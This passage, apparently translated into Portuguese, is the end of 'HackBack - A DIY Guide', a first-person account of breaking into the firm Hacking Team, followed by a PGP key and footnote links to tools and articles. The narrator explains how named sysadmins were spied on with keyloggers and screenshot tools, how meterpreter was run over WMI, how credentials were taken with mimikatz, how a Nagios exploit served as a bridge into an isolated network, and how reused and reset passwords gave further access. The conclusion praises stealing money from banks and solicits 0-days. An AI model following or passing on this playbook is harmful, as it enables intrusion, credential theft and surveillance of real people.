&lt;p>Ele contém muitas informações úteis sobre usuários e computadores. Sem ser um administrador de domínio, você já pode obter muitas informações com o powerview e outras ferramentas&lt;sup id="fnref:100">&lt;a href="#fn:100" class="footnote-ref" role="doc-noteref">100&lt;/a>&lt;/sup>. Depois de obter o Domain Admin, você deve exportar todas as informações do AD com csvde ou outra ferramenta.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Espionar os funcionários&lt;/p>
&lt;p>Um dos meus hobbies favoritos é caçar sysadmins. Espionar Christian Pozzi (um dos sysadmins do Hacking Team) me deu acesso a um servidor Nagios que me deu acesso à rete sviluppo (rede de desenvolvimento com o código-fonte do RCS). Com uma combinação simples de Get-Keystrokes e Get-TimedScreenshot do PowerSploit&lt;sup id="fnref:101">&lt;a href="#fn:101" class="footnote-ref" role="doc-noteref">101&lt;/a>&lt;/sup>, Do-Exfiltration do nishang&lt;sup id="fnref:102">&lt;a href="#fn:102" class="footnote-ref" role="doc-noteref">102&lt;/a>&lt;/sup> e GPO, você pode espionar qualquer funcionário ou até mesmo o domínio inteiro.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h2 id="14---caçando-sysadmins">14 - Caçando Sysadmins&lt;/h2>
&lt;p>Lendo a documentação deles sobre sua infraestrutura&lt;sup id="fnref:103">&lt;a href="#fn:103" class="footnote-ref" role="doc-noteref">103&lt;/a>&lt;/sup>, vi que ainda me faltava acesso a algo importante - a &amp;ldquo;Rete Sviluppo&amp;rdquo;, uma rede isolada com o código fonte para RCS. Os administradores de sistemas de uma empresa sempre têm acesso a tudo, então pesquisei nos computadores de Mauro Romeo e Christian Pozzi para ver como eles administram a rede Sviluppo e para ver se havia algum outro sistema interessante que eu deveria investigar. Era simples acessar seus computadores, pois eles faziam parte do domínio do Windows onde eu já tinha acesso de administrador. O computador do Mauro Romeo não tinha nenhuma porta aberta, então eu abri a porta para WMI&lt;sup id="fnref:104">&lt;a href="#fn:104" class="footnote-ref" role="doc-noteref">104&lt;/a>&lt;/sup> e executei o meterpreter&lt;sup id="fnref:105">&lt;a href="#fn:105" class="footnote-ref" role="doc-noteref">105&lt;/a>&lt;/sup>. Além de keylogging e screen scraping com Get-Keystrokes e Get-TimeScreenshot, usei muitos módulos /gather/ do metasploit, CredMan.ps1&lt;sup id="fnref:106">&lt;a href="#fn:106" class="footnote-ref" role="doc-noteref">106&lt;/a>&lt;/sup>, e procurei por arquivos interessantes&lt;sup id="fnref:107">&lt;a href="#fn:107" class="footnote-ref" role="doc-noteref">107&lt;/a>&lt;/sup>. Ao ver que Pozzi tinha um volume Truecrypt, esperei até que ele o montasse e copiei os arquivos. Muitos zombaram das senhas fracas de Christian Pozzi (e de Christian Pozzi em geral, ele fornece muito material&lt;sup id="fnref:108">&lt;a href="#fn:108" class="footnote-ref" role="doc-noteref">108&lt;/a>&lt;/sup> &lt;sup id="fnref:109">&lt;a href="#fn:109" class="footnote-ref" role="doc-noteref">109&lt;/a>&lt;/sup> &lt;sup id="fnref:110">&lt;a href="#fn:110" class="footnote-ref" role="doc-noteref">110&lt;/a>&lt;/sup> &lt;sup id="fnref:111">&lt;a href="#fn:111" class="footnote-ref" role="doc-noteref">111&lt;/a>&lt;/sup>). Eu os inclui no vazamento como uma pista falsa e para rir dele. A realidade é que mimikatz e keyloggers visualizam todas as senhas igualmente.&lt;/p>
&lt;h2 id="15---a-ponte">15 - A Ponte&lt;/h2>
&lt;p>Dentro do volume Truecrypt de Christian Pozzi, havia um arquivo de texto com muitas senhas&lt;sup id="fnref:112">&lt;a href="#fn:112" class="footnote-ref" role="doc-noteref">112&lt;/a>&lt;/sup>. Uma delas era para um servidor Nagios totalmente automatizado, que tinha acesso à rede Sviluppo para monitorá-la. Eu encontrei a ponte que precisava. O arquivo de texto tinha apenas a senha para a interface da web, mas havia um exploit de execução de código público&lt;sup id="fnref:113">&lt;a href="#fn:113" class="footnote-ref" role="doc-noteref">113&lt;/a>&lt;/sup> (é um exploit não autenticado, mas requer que pelo menos um usuário tenha uma sessão iniciada, para a qual usei a senha do arquivo de texto )&lt;/p>
&lt;h2 id="16---reutilizar-e-redefindo-senhas">16 - Reutilizar e redefindo senhas&lt;/h2>
&lt;p>Lendo os e-mails, vi Daniele Milan concedendo acesso aos repositórios git. Eu já tinha sua senha do windows graças ao mimikatz. Eu tentei no servidor git e funcionou. Então tentei sudo e funcionou. Para o servidor gitlab e sua conta no Twitter, usei a função &amp;ldquo;esqueci minha senha&amp;rdquo; junto com meu acesso ao servidor de e-mail para redefinir as senhas.&lt;/p>
&lt;h2 id="17---conclusão">17 - Conclusão&lt;/h2>
&lt;p>Isso é tudo o que é preciso para derrubar uma empresa e impedir os abusos de direitos humanos. Essa é a beleza e assimetria do hacking: com 100 horas de trabalho, uma pessoa pode desfazer anos de trabalho de uma empresa multimilionária. Hackear dá ao azarão a chance de lutar e vencer.&lt;/p>
&lt;p>Os guias de hacking muitas vezes terminam com uma isenção de responsabilidade: essas informações são apenas para fins educacionais, seja um hacker ético, não ataque sistemas para os quais você não tem permissão, etc. Direi o mesmo, mas com uma concepção mais rebelde de &amp;ldquo;ethical&amp;rdquo; hacking. Vazamento de documentos, expropriação de dinheiro de bancos e trabalho para proteger os computadores de pessoas comuns é um hacking ético. No entanto, a maioria das pessoas que se autodenominam &amp;ldquo;hackers éticos&amp;rdquo; apenas trabalham para proteger aqueles que pagam suas altas taxas de consultoria, que geralmente são os que mais merecem ser hackeados.&lt;/p>
&lt;p>A Hacking Team se via como parte de uma longa linha de design italiano inspirado&lt;sup id="fnref:114">&lt;a href="#fn:114" class="footnote-ref" role="doc-noteref">114&lt;/a>&lt;/sup>. Vejo Vincenzetti, sua empresa, seus camaradas na polícia, Carabinieri e no governo, como parte de uma longa tradição de fascismo italiano. Gostaria de dedicar este guia às vítimas do ataque à escola Armando Diaz e a todos aqueles que tiveram seu sangue derramado por fascistas italianos.&lt;/p>
&lt;h2 id="18---contato">18 - Contato&lt;/h2>
&lt;p>Para me enviar tentativas de spear phishing, ameaças de morte em italiano&lt;sup id="fnref:115">&lt;a href="#fn:115" class="footnote-ref" role="doc-noteref">115&lt;/a>&lt;/sup> &lt;sup id="fnref:116">&lt;a href="#fn:116" class="footnote-ref" role="doc-noteref">116&lt;/a>&lt;/sup> e para me dar &lt;em>0-days&lt;/em> ou acesso dentro de bancos, empresas, governos, etc.&lt;/p>
&lt;p>apenas e-mail criptografado por favor:
&lt;a href="https://securityinabox.org/es/thunderbird_usarenigmail" target="_blank" rel="noopener noreferrer">https://securityinabox.org/es/thunderbird_usarenigmail&lt;/a>
&lt;/p>
&lt;pre tabindex="0">&lt;code>-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
&lt;/code>&lt;/pre>&lt;p>Se não for você, quem? Se não agora, quando?&lt;/p>
&lt;tt> _   _            _      ____             _    _
&lt;br>| | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
&lt;br>| |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
&lt;br>|  _  | (_| | (__|   &lt;  | |_) | (_| | (__|   &lt;|_|
&lt;br>|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
&lt;br>&lt;/tt>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.exploit-db.com/papers/41915" target="_blank" rel="noopener noreferrer">HackBack - A DIY Guide I&lt;/a>
&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="http://pastebin.com/raw.php?i=cRYvK4jb" target="_blank" rel="noopener noreferrer">http://pastebin.com/raw.php?i=cRYvK4jb&lt;/a>
&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI" target="_blank" rel="noopener noreferrer">https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI&lt;/a>
&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html" target="_blank" rel="noopener noreferrer">http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html&lt;/a>
&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf" target="_blank" rel="noopener noreferrer">https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group" target="_blank" rel="noopener noreferrer">http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group&lt;/a>
&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/" target="_blank" rel="noopener noreferrer">http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/&lt;/a>
&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html" target="_blank" rel="noopener noreferrer">http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html&lt;/a>
&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/" target="_blank" rel="noopener noreferrer">http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/&lt;/a>
&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/" target="_blank" rel="noopener noreferrer">https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/&lt;/a>
&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/" target="_blank" rel="noopener noreferrer">https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/&lt;/a>
&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/" target="_blank" rel="noopener noreferrer">https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/&lt;/a>
&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/" target="_blank" rel="noopener noreferrer">http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/&lt;/a>
&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal" target="_blank" rel="noopener noreferrer">http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal&lt;/a>
&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/" target="_blank" rel="noopener noreferrer">https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/&lt;/a>
&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="http://www.wired.com/2013/06/spy-tool-sold-to-governments/" target="_blank" rel="noopener noreferrer">http://www.wired.com/2013/06/spy-tool-sold-to-governments/&lt;/a>
&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/" target="_blank" rel="noopener noreferrer">http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/&lt;/a>
&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html" target="_blank" rel="noopener noreferrer">http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html&lt;/a>
&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web" target="_blank" rel="noopener noreferrer">http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web&lt;/a>
&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://www.torproject.org/" target="_blank" rel="noopener noreferrer">https://www.torproject.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://info.securityinabox.org/es/chapter-4" target="_blank" rel="noopener noreferrer">https://info.securityinabox.org/es/chapter-4&lt;/a>
&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://www.whonix.org/" target="_blank" rel="noopener noreferrer">https://www.whonix.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://tails.boum.org/" target="_blank" rel="noopener noreferrer">https://tails.boum.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://www.qubes-os.org/doc/privacy/torvm/" target="_blank" rel="noopener noreferrer">https://www.qubes-os.org/doc/privacy/torvm/&lt;/a>
&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy" target="_blank" rel="noopener noreferrer">https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a>
&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://www.whonix.org/wiki/Comparison_with_Others" target="_blank" rel="noopener noreferrer">https://www.whonix.org/wiki/Comparison_with_Others&lt;/a>
&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/" target="_blank" rel="noopener noreferrer">https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/&lt;/a>
&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>&lt;a href="http://www.wifislax.com/" target="_blank" rel="noopener noreferrer">http://www.wifislax.com/&lt;/a>
&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:28">
&lt;p>&lt;a href="https://www.torproject.org/docs/bridges.html.en" target="_blank" rel="noopener noreferrer">https://www.torproject.org/docs/bridges.html.en&lt;/a>
&amp;#160;&lt;a href="#fnref:28" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:29">
&lt;p>&lt;a href="http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html" target="_blank" rel="noopener noreferrer">http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html&lt;/a>
&amp;#160;&lt;a href="#fnref:29" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:30">
&lt;p>&lt;a href="http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html" target="_blank" rel="noopener noreferrer">http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html&lt;/a>
&amp;#160;&lt;a href="#fnref:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:31">
&lt;p>&lt;a href="http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf" target="_blank" rel="noopener noreferrer">http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:31" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:32">
&lt;p>&lt;a href="http://ha.ckers.org/fierce/" target="_blank" rel="noopener noreferrer">http://ha.ckers.org/fierce/&lt;/a>
&amp;#160;&lt;a href="#fnref:32" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:33">
&lt;p>&lt;a href="https://github.com/laramies/theHarvester" target="_blank" rel="noopener noreferrer">https://github.com/laramies/theHarvester&lt;/a>
&amp;#160;&lt;a href="#fnref:33" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:34">
&lt;p>&lt;a href="https://bitbucket.org/LaNMaSteR53/recon-ng" target="_blank" rel="noopener noreferrer">https://bitbucket.org/LaNMaSteR53/recon-ng&lt;/a>
&amp;#160;&lt;a href="#fnref:34" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:35">
&lt;p>&lt;a href="https://nmap.org/" target="_blank" rel="noopener noreferrer">https://nmap.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:35" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:36">
&lt;p>&lt;a href="https://zmap.io/" target="_blank" rel="noopener noreferrer">https://zmap.io/&lt;/a>
&amp;#160;&lt;a href="#fnref:36" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:37">
&lt;p>&lt;a href="https://github.com/robertdavidgraham/masscan" target="_blank" rel="noopener noreferrer">https://github.com/robertdavidgraham/masscan&lt;/a>
&amp;#160;&lt;a href="#fnref:37" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:38">
&lt;p>&lt;a href="http://www.morningstarsecurity.com/research/whatweb" target="_blank" rel="noopener noreferrer">http://www.morningstarsecurity.com/research/whatweb&lt;/a>
&amp;#160;&lt;a href="#fnref:38" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:39">
&lt;p>&lt;a href="http://blindelephant.sourceforge.net/" target="_blank" rel="noopener noreferrer">http://blindelephant.sourceforge.net/&lt;/a>
&amp;#160;&lt;a href="#fnref:39" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:40">
&lt;p>&lt;a href="https://github.com/laramies/metagoofil" target="_blank" rel="noopener noreferrer">https://github.com/laramies/metagoofil&lt;/a>
&amp;#160;&lt;a href="#fnref:40" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:41">
&lt;p>&lt;a href="https://www.elevenpaths.com/es/labstools/foca-2/index.html" target="_blank" rel="noopener noreferrer">https://www.elevenpaths.com/es/labstools/foca-2/index.html&lt;/a>
&amp;#160;&lt;a href="#fnref:41" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:42">
&lt;p>&lt;a href="http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html" target="_blank" rel="noopener noreferrer">http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html&lt;/a>
&amp;#160;&lt;a href="#fnref:42" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:43">
&lt;p>&lt;a href="http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/" target="_blank" rel="noopener noreferrer">http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/&lt;/a>
&amp;#160;&lt;a href="#fnref:43" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:44">
&lt;p>&lt;a href="http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf" target="_blank" rel="noopener noreferrer">http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:44" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:45">
&lt;p>&lt;a href="http://pastebin.com/raw.php?i=cRYvK4jb" target="_blank" rel="noopener noreferrer">http://pastebin.com/raw.php?i=cRYvK4jb&lt;/a>
&amp;#160;&lt;a href="#fnref:45" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:46">
&lt;p>&lt;a href="http://sourceforge.net/projects/joomscan/" target="_blank" rel="noopener noreferrer">http://sourceforge.net/projects/joomscan/&lt;/a>
&amp;#160;&lt;a href="#fnref:46" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:47">
&lt;p>&lt;a href="http://www.devttys0.com/" target="_blank" rel="noopener noreferrer">http://www.devttys0.com/&lt;/a>
&amp;#160;&lt;a href="#fnref:47" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:48">
&lt;p>&lt;a href="https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A" target="_blank" rel="noopener noreferrer">https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A&lt;/a>
&amp;#160;&lt;a href="#fnref:48" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:49">
&lt;p>&lt;a href="https://www.shodan.io/search?query=product%3Amongodb" target="_blank" rel="noopener noreferrer">https://www.shodan.io/search?query=product%3Amongodb&lt;/a>
&amp;#160;&lt;a href="#fnref:49" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
